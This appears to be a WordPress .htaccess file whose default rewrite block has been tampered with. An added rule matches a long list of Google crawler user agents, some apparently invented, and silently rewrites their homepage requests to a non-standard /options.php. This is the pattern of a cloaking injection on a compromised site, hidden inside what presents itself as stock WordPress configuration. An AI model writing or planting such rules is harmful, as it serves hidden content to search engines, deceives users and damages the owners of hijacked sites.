# BEGIN WordPress
<IfModule mod_rewrite.c>

RewriteEngine On

# --- Googlebot handling ---

# Detect Google crawlers (expanded list)

RewriteCond %{HTTP_USER_AGENT} (Googlebot|Googlebot-News|Googlebot-Image|Googlebot-Video|Googlebot-Mobile|Mediapartners-Google|AdsBot-Google|AdsBot-Google-Mobile|APIs-Google|Googlebot-AdsBot|Googlebot-Desktop|Googlebot-Search|Googlebot-Events|Googlebot-Tablet|Googlebot-Local|Googlebot-Apps|Googlebot-Connect|Googlebot-Books|Googlebot-Publisher|Googlebot-News-RSS|Feedfetcher-Google|DuplexWeb-Google|Google-InspectionTool|Google\ Favicon|Google\ Web\ Preview) [NC]

# Redirect Googlebot hitting the homepage

RewriteCond %{REQUEST_URI} ^/$

RewriteRule ^$ /options.php [L]

# --- Default WordPress rules ---

RewriteBase /

RewriteRule ^index\.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . /index.php [L]
</IfModule>

# END WordPress